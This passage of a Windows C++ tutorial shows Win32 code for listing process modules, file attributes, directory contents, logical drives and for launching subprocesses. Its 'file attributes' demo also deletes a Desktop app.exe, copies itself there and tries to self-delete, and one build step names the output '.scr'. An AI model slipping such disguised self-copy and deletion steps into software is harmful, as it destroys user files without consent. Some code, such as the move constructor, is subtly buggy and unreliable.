    ::CloseHandle
};

Print process name:

std::cout << "Process base name = "
          << WProcess::GetName(hProc.get())
          << std::endl; 

Print path to executable:

std::cout << "Process path      = "
          << WProcess::GetExecutablePath(hProc.get())
          << std::endl;

Print all DLLs used by the process:

using ModuleConsumer = std::function<auto (HMODULE, const std::string&) -> void>;  

// Print all DLLs used by some process 
WProcess::ForEachModule(
    hProc.get(),
    [](HMODULE hmod, const std::string& path) -> void
    {
           std::cout << std::setw(10) << hmod
                     << std::setw(5)  << " "
                     << std::left     << std::setw(45) << path
                     << "\n";                   
    }
    );

Functions in namespace WProcess

  • WProcess::GetName
auto GetName(HANDLE hProc) -> std::string {
      std::wstring basename(MAX_PATH, 0);
      int n1 = ::GetModuleBaseNameW(hProc, NULL, &basename[0], MAX_PATH);
      basename.resize(n1);
      return utf8_encode(basename);
}
  • WProcess::GetExecutablePath
auto GetExecutablePath(HANDLE hProc) -> std::string {
     std::wstring path(MAX_PATH, 0);
     int n2 = ::GetModuleFileNameExW(hProc, NULL, &path[0], MAX_PATH);
     path.resize(n2);
     return utf8_encode(path);
}
  • WProcess::ForEachModule
auto ForEachModule(HANDLE hProc, ModuleConsumer FunIterator) -> void {
     HMODULE hMods[1024];
     DWORD   cbNeeded;
     if (::EnumProcessModules(hProc, hMods, sizeof(hMods), &cbNeeded)){
            int n = cbNeeded / sizeof(HMODULE);
            std::wstring path(MAX_PATH, 0);
            for(int i = 0; i < n; i++){
                DWORD nread = ::GetModuleFileNameExW(hProc, hMods[i], &path[0], MAX_PATH);
                path.resize(nread);     
                if(nread) FunIterator(hMods[i], utf8_encode(path));
            }
     }  
}

1.23 CODE - Show files and directories attributes   cmake build demo code

Gist:

File: attrib.cpp

#include <iostream>
#include <windows.h>
#include <string>

#define disp(expr) std::cerr << std::boolalpha << __FILE__ << ":" << __LINE__ << ":" \
                                                         << " ; " << #expr << " = " << (expr) << std::endl

void showFileAttributes(std::string path)
{
     DWORD attr = GetFileAttributesA(path.c_str());
     disp(attr);
     bool isInvalid = attr == INVALID_FILE_ATTRIBUTES;
     bool exists = !isInvalid;
     bool isDirectory = exists && static_cast<bool>(attr & FILE_ATTRIBUTE_DIRECTORY);
     bool isFile = exists && !static_cast<bool>(attr & FILE_ATTRIBUTE_DIRECTORY);
     std::cout << "File attributes for path = " << path << std::endl;
     std::cout << std::boolalpha
               << "Is invalid file attribute = " << isInvalid << std::endl
               << "File exists               = " << exists << std::endl
               << "Is directory              = " << isDirectory << std::endl
               << "Is file                   = " << isFile << std::endl;
     std::cout << "--------------------------------" << std::endl
               << std::endl;
}

bool fileExists(std::string path)
{
   DWORD attr = GetFileAttributesA(path.c_str());
   return !(attr == INVALID_FILE_ATTRIBUTES) && !(attr & FILE_ATTRIBUTE_DIRECTORY);
}

bool dirExists(std::string path)
{
    DWORD attr = GetFileAttributesA(path.c_str());
    return !(attr == INVALID_FILE_ATTRIBUTES) && (attr & FILE_ATTRIBUTE_DIRECTORY);
}

// Get Path to current program / Application 
std::string pathToThisProgram()
{
    std::string result(MAX_PATH, 0);
    int n = GetModuleFileNameA(NULL, &result[0], MAX_PATH);
    result.resize(n);
    return result;
}

std::string getEnvironment(std::string varname)
{
    static int size = 32767;
    std::string result(size, 0);
    DWORD n = GetEnvironmentVariableA(varname.c_str(), &result[0], size);
    result.resize(n);
    return result;
}

int main()
{
    std::cout << "Path to this program = "
              << pathToThisProgram() << std::endl;
    std::cout << "Evironment variable => %USERPROFILE% = "
              << getEnvironment("USERPROFILE") << std::endl;
    std::cout << "Evironment variable => %SYSTEMROOT% = "
              << getEnvironment("SYSTEMROOT") << std::endl;
    std::cout << "Evironment variable => %WRONGVAR% = "
              << getEnvironment("WRONGVAR") << std::endl;

    std::string thisprog = pathToThisProgram();
    std::string dest = getEnvironment("USERPROFILE") + "\\Desktop\\app.exe";
    // Copy file to Desktop
    if (fileExists(dest))
    {
        std::cout << " ==> File " << dest << " exists - removing it ... " << std::endl;
        DeleteFileA(dest.c_str());
    }
    bool result = CopyFileA(thisprog.c_str(), dest.c_str(), TRUE);
    std::cout << "Copy successful? = " << std::boolalpha << result << std::endl;

    //Delete this executable
    bool result2 = DeleteFileA(thisprog.c_str());
    std::cout << "Delete successful? = " << std::boolalpha << result2 << std::endl;

    std::cout << "-------------------------------" << std::endl;

    showFileAttributes("C:\\Windows\\System32");
    showFileAttributes("C:/Windows/System32");
    showFileAttributes("C:\\Windows\\System32\\cmd.exe");
    showFileAttributes("C:\\Windows\\System32DONOT_EXISTS");

    disp(fileExists("C:\\Windows\\System32"));
    disp(fileExists("C:/Windows/System32"));
    // Windows file system is case insensitive!
    disp(fileExists("C:\\Windows\\System32\\cmd.exe"));
    disp(fileExists("C:\\Windows\\System32\\CMD.EXE"));
    disp(fileExists("C:\\Windows\\System32\\kernel32.dll"));
    disp(fileExists("C:\\Windows\\System32DONOT_EXISTS"));

    std::cout << std::endl;

    disp(dirExists("C:\\Windows\\System32"));
    disp(dirExists("C:/Windows/System32"));
    disp(dirExists("C:\\Windows\\System32\\cmd.exe"));
    disp(dirExists("C:\\Windows\\System32\\CMD.EXE"));
    disp(dirExists("C:\\Windows\\System32\\kernel32.dll"));
    disp(dirExists("C:\\Windows\\System32DONOT_EXISTS"));
    disp(dirExists("C:\\$Recycle.bin"));

    return 0;
}

File: CMakeLists.txt

cmake_minimum_required(VERSION 3.9)
project(WindowsExploration)

#========== Global Configurations =============#
#----------------------------------------------#
set(CMAKE_CXX_STANDARD 17)     
set(CMAKE_VERBOSE_MAKEFILE ON)

#========== Targets Configurations ============#
add_executable(attrib attrib.cpp)

Download sources:

$ git clone https://gist.github.com/bad57134dd6e95e394a04b8b727a825f attrib
$ cd attrib

$ ls
CMakeLists.txt  Makefile  attrib.cpp  build_msvc.bat

Building manually with MINGW (GCC ported to Windows):

$ g++ attrib.cpp -o attrib.exe -std=c++1z -ggdb -Wall -Wextra
$ g++ attrib.cpp -o attrib.scr -std=c++1z -ggdb -Wall -Wextra

$ file attrib.exe
attrib.exe: PE32+ executable (console) x86-64, for MS Windows

Building manually with MSVC-2019 (cl.exe) via developer command prompt at start menu.

$ cl.exe attrib.cpp /out:attrib.exe /ZI /std:c++latest

Building via CMake and Visual Studio Code Vscode:

# Open the directory with source files in Vscode, Select the toolchain (called KIT)
# ,then build the application. 
$ cd attrib 
$ vscode . 

Building with CMake and "Visual" Studio Compiler (MSVC-15) from command line:

$ cmake -H. -B_build -DCMAKE_BUILD_TYPE=Debug -G "Visual Studio 14 2015 Win64"
$ cmake --build _build --target all

# Command file comes from GIT installation that provides some Linux/UNIX tools
# for Windows. 
$ file _build/Debug/atrib.exe
_build/Debug/atrib.exe: PE32+ executable (console) x86-64, for MS Windows

Building with CMake and MSVC 2019 (Only works if this compiler is already installed.)

$ cmake -B_build -H. -DCMAKE_BUILD_TYPE=Debug
$ cmake --build _build --target all

Building with CMake and Mingw:

$ cmake -H. -B_build_mingw -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Debug -DCMAKE_EXPORT_COMPILE_COMMANDS=TRUE
$ cmake --build _build_mingw --target

$ dir _build_mingw/
CMakeCache.txt  CMakeFiles  Makefile  cmake_install.cmake  compile_commands.json

Program output:

$ _build\Debug\attrib.exe

Path to this program = Z:\windows-experiments\build\attrib.exe
Evironment variable => %USERPROFILE% = C:\Users\myuser 
Evironment variable => %SYSTEMROOT% = C:\Windows
Evironment variable => %WRONGVAR% =
 ==> File C:\Users\myuser\Desktop\app.exe exists - removing it ...
Copy successful? = true
Delete successful? = false
-------------------------------
..\application1.cpp:11: ; attr = 16
File attributes for path = C:\Windows\System32
Is invalid file attribute = false
File exists               = true
Is directory              = true
Is file                   = false
--------------------------------

..\application1.cpp:11: ; attr = 16
File attributes for path = C:/Windows/System32
Is invalid file attribute = false
File exists               = true
Is directory              = true
Is file                   = false
--------------------------------

..\application1.cpp:11: ; attr = 32
File attributes for path = C:\Windows\System32\cmd.exe
Is invalid file attribute = false
File exists               = true
Is directory              = false
Is file                   = true
--------------------------------

..\application1.cpp:11: ; attr = 4294967295
File attributes for path = C:\Windows\System32DONOT_EXISTS
Is invalid file attribute = true
File exists               = false
Is directory              = false
Is file                   = false
--------------------------------

..\application1.cpp:90: ; fileExists("C:\\Windows\\System32") = false
..\application1.cpp:91: ; fileExists("C:/Windows/System32") = false
..\application1.cpp:93: ; fileExists("C:\\Windows\\System32\\cmd.exe") = true
..\application1.cpp:94: ; fileExists("C:\\Windows\\System32\\CMD.EXE") = true
..\application1.cpp:95: ; fileExists("C:\\Windows\\System32\\kernel32.dll") = true
..\application1.cpp:96: ; fileExists("C:\\Windows\\System32DONOT_EXISTS") = false

..\application1.cpp:100: ; dirExists("C:\\Windows\\System32") = true
..\application1.cpp:101: ; dirExists("C:/Windows/System32") = true
..\application1.cpp:102: ; dirExists("C:\\Windows\\System32\\cmd.exe") = false
..\application1.cpp:103: ; dirExists("C:\\Windows\\System32\\CMD.EXE") = false
..\application1.cpp:104: ; dirExists("C:\\Windows\\System32\\kernel32.dll") = false
..\application1.cpp:105: ; dirExists("C:\\Windows\\System32DONOT_EXISTS") = false
..\application1.cpp:106: ; dirExists("C:\\$Recycle.bin") = true

1.24 CODE - List directory files

Program for listing directories, similar to U*nix's ls or Windows' dir usign Win32 API.

Source:

Files

File: listFiles.cpp

#include <iostream>
#include <string> 
#include <sstream>
#include <iomanip>
#include <functional>

//- Windows Headers ---
#include <windows.h>

//----------------------------------------------//

// Uses RAII for setting console to UTF8
// and restoring its previous settings.
class ConsoleUTF8{
public:
   // Constructor saves context 
   ConsoleUTF8(){
       m_config = ::GetConsoleOutputCP();
       ::SetConsoleOutputCP(CP_UTF8);
       std::cerr << " [TRACE] Console set to UTF8" << std::endl;
   }
   // Destructor restores context 
   ~ConsoleUTF8(){
           std::cerr << " [TRACE] Console restored." << std::endl;
      ::SetConsoleOutputCP(m_config);
   }
private:
   unsigned int m_config;
};

struct CloseHandleRAAI{
        using Disposer = std::function<void ()>;
        Disposer m_dispose;
        CloseHandleRAAI(Disposer dispose): m_dispose(dispose){ }
        ~CloseHandleRAAI(){ m_dispose(); }
};

void CloseHandleLog(HANDLE h, const std::string& name){
        ::CloseHandle(h);
        std::cerr << " [LOG] Handler <" << name << "> closed OK." << std::endl; 
}

auto utf8_encode(const std::wstring &wstr) -> std::string;
auto utf8_decode(const std::string &str) -> std::wstring;

using FileEnumerator = std::function<bool (const std::string&)>;

auto getLastErrorAsString() -> std::string;
auto EnumerateFiles(const std::string& path, FileEnumerator Enumerator) -> int;


int main(int argc, char** argv){
        if(argc < 2){
                std::cerr << "Usage: " << argv[0] << " " << "[PATH]" << std::endl;
                return EXIT_FAILURE;
        }

        auto utf8Console = ConsoleUTF8();
        auto directoryPath = std::string{argv[1]};

        std::cout << "directoryPath = " << directoryPath << "\n";

        int count = 0;  
        // Show 50 first files. 
        int status = EnumerateFiles(
                directoryPath,
                [&count](const auto& file){
                        std::cout << " => " << file << "\n";
                        if(count++ < 50)
                                return true;
                        else
                                return false;
                });

        if(status != ERROR_SUCCESS){
                std::cout << " => Error code    = " << ::GetLastError() << std::endl;
                std::cout << " => Error message = " << getLastErrorAsString() << std::endl;
                return EXIT_FAILURE;
        }

        std::puts(" [LOG] End sucessfully");

        // FindClose(hFile);
        //CloseHandle(hFind);
        return EXIT_SUCCESS;
}
//---------------------------------------------------------//

/** Enumerate files of some directory util enumerator function (callback) returns false. 
  * - path       - Directory path to be listed 
  * - Enumerator - Functions which consumes a string (file listed) and returns bool.
  *                this function returns false when it is no longer interested in 
  *                being called. When it returns false the iteration stops. 
  *
  * - Return    - Returns error code from GetLastError(). If it is successful, 
  *               the function returns ERROR_SUCCESS.
  */
auto EnumerateFiles(const std::string& path, FileEnumerator Enumerator) -> int {
        WIN32_FIND_DATAW fdata;
        HANDLE hFind = INVALID_HANDLE_VALUE;
        // Ensure that resource hFind is always disposed. 
        auto close_hFind = CloseHandleRAAI(std::bind(CloseHandleLog, hFind, "hFile"));
        hFind = FindFirstFileW(utf8_decode(path).c_str(), &fdata);
        if(hFind == INVALID_HANDLE_VALUE)
                return GetLastError();
        do { //Consumer function 
                if(!Enumerator(utf8_encode(fdata.cFileName))) break;
        } while(FindNextFileW(hFind, &fdata) != 0);
        return ERROR_SUCCESS;
}

// Print human-readable description of GetLastError() - Error Code 
// Source: https://stackoverflow.com/questions/1387064
// Requires: <string>, <sstream>, <windows.h>, 
auto getLastErrorAsString() -> std::string {
    //Get the error message, if any.
    DWORD errorMessageID = ::GetLastError();
    if(errorMessageID == 0)
        return std::string();
    LPSTR messageBuffer = nullptr;
    static const DWORD flags  =
      FORMAT_MESSAGE_ALLOCATE_BUFFER
      | FORMAT_MESSAGE_FROM_SYSTEM
      | FORMAT_MESSAGE_IGNORE_INSERTS;
    size_t size = FormatMessageA(
                flags,
                NULL,
                errorMessageID,
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                (LPSTR)&messageBuffer, 0, NULL);
    auto message = std::string(messageBuffer, size);
        auto ss = std::stringstream(message);
        auto line = std::string{};
        std::getline(ss, line, '\r');
    //Free the buffer.
    LocalFree(messageBuffer);
    return line;  
}


auto utf8_encode(const std::wstring &wstr) -> std::string
{
    int size_needed = WideCharToMultiByte(
            CP_UTF8, 0, &wstr[0],
            (int)wstr.size(), NULL, 0, NULL, NULL);
    std::string strTo(size_needed, 0);
    WideCharToMultiByte(
            CP_UTF8, 0, &wstr[0],
            (int)wstr.size(), &strTo[0], size_needed, NULL, NULL);
    return strTo;
}

// Credits: https://gist.github.com/pezy/8571764
auto utf8_decode(const std::string &str) -> std::wstring
{
     int size_needed = MultiByteToWideChar(
             CP_UTF8, 0,
             &str[0], (int)str.size(), NULL, 0);
     std::wstring wstrTo(size_needed, 0);
     MultiByteToWideChar(
             CP_UTF8, 0, &str[0],
             (int) str.size(), &wstrTo[0], size_needed);
     return wstrTo;
}

Building

  • MSVC
$ cl.exe listFiles.cpp /EHsc /Zi /nologo /Fe:listFiles.exe 
  • Mingw/GCC
$ g++ listFiles.cpp -o listFiles.exe -std=c++14 

Usage:

$ listFiles.exe "C:\*"
 [TRACE] Console set to UTF8
directoryPath = C:\*
 => $GetCurrent
 => $Recycle.Bin
 ... . ... ... .... .. .. ... 
 => pagefile.sys
 => PerfLogs
 => Program Files
 => Program Files (x86)
 ... ... ... ... 
 => Users
 => Windows
 => Windows10Upgrade
 [LOG] Handler <hFile> closed OK.
 [LOG] End sucessfully
 [TRACE] Console restored.

$ listFiles.exe "E:\*"
 [TRACE] Console set to UTF8
directoryPath = E:\*
 [LOG] Handler <hFile> closed OK.
 => Error code    = 3
 => Error message = The system cannot find the path specified.
 [TRACE] Console restored.


$ listFiles.exe "C:\windows\system32\*.dll" 2> log
directoryPath = C:\windows\system32\*.dll
 => aadauthhelper.dll
 => aadcloudap.dll
 => aadjcsp.dll
 => aadtb.dll
 => aadWamExtension.dll
 => AboutSettingsHandlers.dll
 => AboveLockAppHost.dll
 ...    ...    ...    ... 
 [LOG] End sucessfully

Parts

  • Function: getLastErrorAsString - Returns a human readable std::string description of GetLastError().
// Print human-readable description of GetLastError() - Error Code
// Source: https://stackoverflow.com/questions/1387064 Requires:
// <string>, <sstream>, <windows.h>,
auto getLastErrorAsString() -> std::string {
    //Get the error message, if any.
    DWORD errorMessageID = ::GetLastError();
    if(errorMessageID == 0)
        return std::string();
    LPSTR messageBuffer = nullptr;
    static const DWORD flags  =
      FORMAT_MESSAGE_ALLOCATE_BUFFER
      | FORMAT_MESSAGE_FROM_SYSTEM
      | FORMAT_MESSAGE_IGNORE_INSERTS;
    size_t size = FormatMessageA(
                flags,
                NULL,
                errorMessageID,
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
                (LPSTR)&messageBuffer, 0, NULL);
    auto message = std::string(messageBuffer, size);
        auto ss = std::stringstream(message);
        auto line = std::string{};
        std::getline(ss, line, '\r');
    //Free the buffer.
    LocalFree(messageBuffer);
    return line;  
}
  • Function EnumereFiles encapsulates the WinAPIs FindFileFirstW and FindNextFileW. This function iterate over files of some directory and applies an Enumerator function taking a string (file name) and returning a boolean. The iteration continues until the enumerator function returns false.
 using FileEnumerator = std::function<bool (const std::string&)>;

/** Enumerate files of some directory util enumerator function (callback) returns false. 
  * - path       - Directory path to be listed 
  * - Enumerator - Functions which consumes a string (file listed) and returns bool.
  *                this function returns false when it is no longer interested in 
  *                being called. When it returns false the iteration stops. 
  *
  * - Return    - Returns error code from GetLastError(). If it is successful, 
  *               the function returns ERROR_SUCCESS.
  */
auto EnumerateFiles(const std::string& path, FileEnumerator Enumerator) -> int {
     WIN32_FIND_DATAW fdata;
     HANDLE hFind = INVALID_HANDLE_VALUE;
     // Ensure that resource hFind is always disposed. 
     auto close_hFind = CloseHandleRAAI(std::bind(CloseHandleLog, hFind, "hFile"));
     hFind = FindFirstFileW(utf8_decode(path).c_str(), &fdata);
     if(hFind == INVALID_HANDLE_VALUE)
             return GetLastError();
     do { //Consumer function 
             if(!Enumerator(utf8_encode(fdata.cFileName))) break;
     } while(FindNextFileW(hFind, &fdata) != 0);
     return ERROR_SUCCESS;
}

Main function:

if(argc < 2){
    std::cerr << "Usage: " << argv[0] << " " << "[PATH]" << std::endl;
    return EXIT_FAILURE;
}
auto utf8Console = ConsoleUTF8();
auto directoryPath = std::string{argv[1]};
std::cout << "directoryPath = " << directoryPath << "\n";
int count = 0;  
// Show 50 first files. 
int status = EnumerateFiles(
    directoryPath,
    [&count](const auto& file){
            std::cout << " => " << file << "\n";
            if(count++ < 50)
                    return true;
            else
                    return false;
    });
if(status != ERROR_SUCCESS){
     std::cout << " => Error code    = " << ::GetLastError() << std::endl;
     std::cout << " => Error message = " << getLastErrorAsString() << std::endl;
     return EXIT_FAILURE;
}   
std::puts(" [LOG] End sucessfully");
return EXIT_SUCCESS;

WinAPIs used:

1.25 CODE - Enumerate Logical Drivers

This code enumerates all logical drivers in the current Windows machine, for instance, C:, D:, E: … and so on.

Source:

Files:

File: GetLogicalDrivers.cpp

#include <iostream>
#include <string>
#include <sstream>
#include <deque>
#include <vector>
#include <functional>
#include <Windows.h>

using DriverEnumerator = std::function<auto (std::string) -> void>;
auto EnumerateLogicalDriver(DriverEnumerator Consumer) -> void;

template<template<class, class> class Container = std::vector>
auto LogicalDriverList()
        -> Container<std::string, std::allocator<std::string>>;

int main()
 {
        std::puts("Logical Drivers or Disks found in the current installation");
        std::puts("------------------------------------------------");

        EnumerateLogicalDriver(
                [](const std::string& name){
                        std::cout << "Driver = " << name << std::endl;
                });

        auto driverList1 = LogicalDriverList<std::deque>();
        std::cout << " *=> Driver list in STL container std::deque  = ";
        for(const auto& d: driverList1){ std::cout << d << ", "; }
        std::cout << std::endl;;

        auto driverList2 = LogicalDriverList<std::vector>();
        std::cout << " *=> Driver list in STL container std::vector = ";
        for(const auto& d: driverList2){ std::cout << d << ", "; }
        std::cout << std::endl;;

        return 0;
}

//---------------------------------------------------// 

using DriverEnumerator = std::function<auto (std::string) -> void>;

auto EnumerateLogicalDriver(DriverEnumerator Consumer) -> void 
{
        size_t size = ::GetLogicalDriveStringsA(0, nullptr);
        std::string buffer(size, 0x00);
        ::GetLogicalDriveStringsA(buffer.size(), &buffer[0]);
        std::stringstream ss{buffer};
        while(std::getline(ss, buffer, '\0') && !buffer.empty())
                Consumer(buffer);
}

// Remember: Template always in header files 
// The user can choose the type of container used to return
// the computer drivers. 
template<template<class, class> class Container = std::vector>
auto LogicalDriverList()
        -> Container<std::string, std::allocator<std::string>>
{   
        Container<std::string, std::allocator<std::string>> list{};
        EnumerateLogicalDriver(
                [&](const std::string& name){
                        list.push_back(name);
                });
        return list;    
}

Analysis

Main Function:

std::puts("Logical Drivers or Disks found in the current installation");
std::puts("------------------------------------------------");

EnumerateLogicalDriver(
        [](const std::string& name){
                std::cout << "Driver = " << name << std::endl;
        });

auto driverList1 = LogicalDriverList<std::deque>();
std::cout << " *=> Driver list in STL container std::deque  = ";
for(const auto& d: driverList1){ std::cout << d << ", "; }
std::cout << std::endl;;

auto driverList2 = LogicalDriverList<std::vector>();
std::cout << " *=> Driver list in STL container std::vector = ";
for(const auto& d: driverList2){ std::cout << d << ", "; }
std::cout << std::endl;;

return 0;

Function EnumerateDriver:

  • Takes a function as argument which consumes the logical driver names passed as string.
using DriverEnumerator = std::function<auto (std::string) -> void>;

auto EnumerateLogicalDriver(DriverEnumerator Consumer) -> void 
{
    size_t size = ::GetLogicalDriveStringsA(0, nullptr);
    std::string buffer(size, 0x00);
    ::GetLogicalDriveStringsA(buffer.size(), &buffer[0]);
    std::stringstream ss{buffer};
    while(std::getline(ss, buffer, '\0') && !buffer.empty())
         Consumer(buffer);
}

Function LogicalDriverList;

  • Templated functions which takes an STL container as type argument. It allows choosing the type of stl container which will be returned.
// Remember: Template always in header files The user can choose the
// type of container used to return the computer drivers.
template<template<class, class> class Container = std::vector>
auto LogicalDriverList()
        -> Container<std::string, std::allocator<std::string>>
{   
    Container<std::string, std::allocator<std::string>> list{};
    EnumerateLogicalDriver(
            [&](const std::string& name){
                    list.push_back(name);
            });
    return list;    
}

Program output:

# Compiling and running with MingW/GCC 
$ g++ GetLogicalDrivers.cpp -std=c++1z -o out.exe && out.exe

Logical Drivers or Disks found in the current installation
------------------------------------------------
Driver = C:\
Driver = D:\
 *=> Driver list in STL container std::deque  = C:\, D:\, 
 *=> Driver list in STL container std::vector = C:\, D:\, 

1.26 CODE - Launching and controlling sub-processes

This sample program contains a class process builder which encapsulates the complexity of Windows API process. It can be used for launching processes, streaming process output line by line, wait for process execution, get PID and also terminate the subprocess.

Source:

Files

File: winprocess.cpp

#include <iostream>
#include <string>
#include <vector>
#include <cstdio>
#include <sstream>
#include <functional>
#include <fstream>

#include <windows.h>

//========= File: ProcessBuilder.hpp - Header ===================//

/** Requires: <iostream> <string>, <functional> <vector> <windows.h> */
class ProcessBuilder
{
private:
        // Program to be run 
        std::string              m_program;
        // Arguments passed to the program 
        std::vector<std::string> m_args = {};
        // If this flag is true, the program is launched on console 
        bool                     m_console = true;
        std::string              m_cwd; 
        STARTUPINFO              m_si = { sizeof(STARTUPINFO)};
        PROCESS_INFORMATION      m_pi;
public: 
        using SELF = ProcessBuilder&;
        using LineConsumer = std::function<bool (std::string)>;

        ProcessBuilder() = default;
        ProcessBuilder(const std::string& program, const std::vector<std::string>& args = {});
        ProcessBuilder(const ProcessBuilder&) = delete;
        auto operator=(const ProcessBuilder&)  = delete;    
        ~ProcessBuilder();
        ProcessBuilder(ProcessBuilder&& rhs);
        auto operator=(ProcessBuilder&& rhs) -> SELF;
        auto SetProgram(const std::string& program) -> SELF;    
        auto SetConsole(bool flag) -> SELF;
        /** Set process directory.
         * @param path - Process directory path.
         */
        auto SetCWD(const std::string& path) -> SELF;   
        /** Start process without waiting for its termination.  */
        auto Run() -> bool;
        auto Wait() -> void;
        // Start process and wait for its termination. 
        auto RunWait() -> bool;
        auto GetPID() -> DWORD;
        auto Terminate() -> bool;
        auto isRunning() -> bool;   
        auto StreamLines(LineConsumer consumer) -> bool; 
        auto GetOutput() -> std::string;    
private:
        auto ReadLineFromHandle(HANDLE hFile) -> std::pair<bool, std::string>;  
}; //========= End of Class ProcessBuilder ===== // 


//========= File:  main.cpp ===================//


int main(int argc, char** argv)
{

      if(argc < 2)
      {
           std::cerr << "Usage: " << argv[0] << " [test0 | test1 | test2 | test3 | test4 ]" << std::endl;
           return EXIT_FAILURE;
      }

      auto tryExit = [&argc, &argv](std::function<int ()> Action) -> void {
              try {
                   // End current process with exit code returned
                   // from function
                   int status = Action();           
                   std::cerr << "[SUCCESS] End gracefully";
                   std::exit(status);
              }catch(const std::runtime_error& ex)
              {
                  std::cerr << "[ERROR  ] " << ex.what() << std::endl;
                  std::exit(1);
              }     
      };


      /** Stream process output to stdout line by line. Print line read form subprocess 
       * output as soon as it arrives. */
      if(std::string(argv[1]) == "test0")
              tryExit([]{
                            auto p = ProcessBuilder();
                            p.SetProgram("ping 8.8.8.8");               
                            std::puts("Stream output of process ping to stdout.");
                            p.StreamLines([](std::string line){
                                            std::cout << " line = " << line << std::endl;
                                            return true;
                                    });
                            return EXIT_SUCCESS;
                      });

      /** Read whole process output and then print it to console and to a file. 
    * run $ dir . at path C:\\windows\\system32, read the whole process output 
    * as string printing it and saving it to a log file. (output.log)
    */
      if(std::string(argv[1]) == "test1")
              tryExit([]{
                              std::puts("Get output of tasklist.");
                              auto p = ProcessBuilder("dir .");     
                              p.SetCWD("C:\\windows\\system32");
                              std::cout << "Process output = " << std::endl;
                              auto out = p.GetOutput();
                              std::cout << out << std::endl;

                              std::ofstream fs("output.log");
                              fs << " ==>>> Process output = " << "\n";
                              fs << " +=================+ " << "\n";
                              fs << out;    
                              return EXIT_SUCCESS;
                      });

      /** Launch a process (for window subsystem) and wait for its termination. */
      if(std::string(argv[1]) == "test2")
              tryExit([]{
                           std::puts("Launch process and wait for its termination");
                           auto p = ProcessBuilder("notepad");
                           p.Run();
                           std::cout << "Waiting for process termination" << std::endl;
                           p.Wait();
                           std::cout << "Process terminated. OK." << std::endl;
                           return EXIT_SUCCESS;
                      });               

      /** Launch a process and terminate it when user hit RETURN. */
      if(std::string(argv[1]) == "test3")
              tryExit([]{
                          std::puts("Launch process and wait for its termination");
                          auto p = ProcessBuilder("notepad");
                          p.Run();
                          std::cout << "Enter RETURN to terminate process => PID = " << p.GetPID() << std::endl;
                          std::cin.get();
                          p.Terminate();
                          std::cout << " Process terminated OK.";
                          return EXIT_SUCCESS;
                      });

      /** Simulate failure. */
      if(std::string(argv[1]) == "test4")
              tryExit([]{
                          std::puts("Launch process and wait for its termination");
                          auto p = ProcessBuilder("notepad-error-failure");
                          p.Run();
                          std::cout << "Enter RETURN to terminate process => PID = " << p.GetPID() << std::endl;
                          std::cin.get();
                          p.Terminate();
                          std::cout << " Process terminated OK.";
                          return EXIT_SUCCESS;
                      });

      std::cerr << "Error: invalid option " << std::endl;   
      return EXIT_FAILURE;;
}


//========= File: ProcessBuilder.cpp - Implementation ===================//

ProcessBuilder::ProcessBuilder(const std::string& program,
                                                           const std::vector<std::string>& args)
        : m_program(std::move(program))
        , m_args(std::move(args))
        , m_si()

{ }

ProcessBuilder::~ProcessBuilder(){
        ::CloseHandle( m_pi.hProcess );
        ::CloseHandle( m_pi.hThread );
}

ProcessBuilder::ProcessBuilder(ProcessBuilder&& rhs)
{
        m_program = std::move(rhs.m_program);
        m_args    = std::move(rhs.m_args);
        m_console = std::move(rhs.m_console);
        m_cwd     = std::move(m_cwd);
        m_si      = std::move(m_si);
        m_pi      = std::move(m_pi);
}
auto ProcessBuilder::operator=(ProcessBuilder&& rhs) -> SELF
{
        std::swap(m_program, rhs.m_program);
        std::swap(m_args,    rhs.m_args);
        std::swap(m_console, rhs.m_console);
        std::swap(m_cwd,     rhs.m_cwd);
        std::swap(m_si,      rhs.m_si);
        std::swap(m_pi,      rhs.m_pi);
        return *this;
}

auto ProcessBuilder::SetProgram(const std::string& program) -> ProcessBuilder& {
        m_program = program;
        return *this;
}

auto ProcessBuilder::SetConsole(bool flag) -> ProcessBuilder&
{
        m_console = flag;
        return *this;
}
/** Set process directory.
 * @param path - Process directory path.
 */
auto ProcessBuilder::SetCWD(const std::string& path) -> ProcessBuilder&
{
        m_cwd = path;
        return *this;
}

/** Start process without waiting for its termination.  */
auto ProcessBuilder::Run() -> bool {
        std::string cmdline = m_program;
        for(const auto& s: m_args)
                cmdline = cmdline + " " + s;

        bool status = ::CreateProcessA(
                // lpApplicationName
                nullptr
                // lpCommandLine
                ,&cmdline[0]
                // lpProcessAttributes
                ,nullptr
                // lpThreadAttributes
                ,nullptr
                // bInheritHandles
                ,m_console ? true : false
                // dwCreationFlags
                ,m_console ? 0  : CREATE_NO_WINDOW
                // lpEnvironment - Pointer to environment variables
                ,nullptr
                // lpCurrentDirectory - Pointer to current directory
                ,m_cwd.empty() ? nullptr : &m_cwd[0]
                // lpStartupInfo
                ,&m_si
                // lpProcessInformation
                ,&m_pi
                );
        DWORD code;
        // Wait 10 milliseconds 
        ::WaitForSingleObject(m_pi.hProcess, 10);
                  ::GetExitCodeProcess(m_pi.hProcess, &code);  
        if(code != STILL_ACTIVE)
                throw std::runtime_error(std::string("Failed to create process = ") + m_program);
        return status;
}

auto ProcessBuilder::Wait() -> void {
        ::WaitForSingleObject( m_pi.hProcess, INFINITE );
}

// Start process and wait for its termination. 
auto ProcessBuilder::RunWait() -> bool {
        bool status = this->Run();
        this->Wait();
        return status;
}

auto ProcessBuilder::GetPID() -> DWORD {
        return m_pi.dwProcessId;
}

auto ProcessBuilder::Terminate() -> bool {
        return ::TerminateProcess(m_pi.hProcess, 0);
}

auto ProcessBuilder::isRunning() -> bool {
        DWORD code;
        ::GetExitCodeProcess(m_pi.hProcess, &code);
        return code == STILL_ACTIVE;
}

auto ProcessBuilder::StreamLines(ProcessBuilder::LineConsumer consumer) -> bool {
        HANDLE hProcStdoutRead = INVALID_HANDLE_VALUE;
        HANDLE hProcStdoutWrite = INVALID_HANDLE_VALUE;
        SECURITY_ATTRIBUTES sattr;
        sattr.nLength              = sizeof(SECURITY_ATTRIBUTES);
        sattr.bInheritHandle       = true;
        sattr.lpSecurityDescriptor = nullptr;
        if(!::CreatePipe(&hProcStdoutRead, &hProcStdoutWrite, &sattr, 0))
                throw std::runtime_error("Error: failed to create pipe");

        if(!::SetHandleInformation(hProcStdoutRead, HANDLE_FLAG_INHERIT, 0))
                throw std::runtime_error("Error: failed to set handle information");        

        m_si.hStdOutput = hProcStdoutWrite;
        m_si.dwFlags   |= STARTF_USESTDHANDLES;
        bool status = this->Run();     
        // The writing handler must be closed befored reading the 
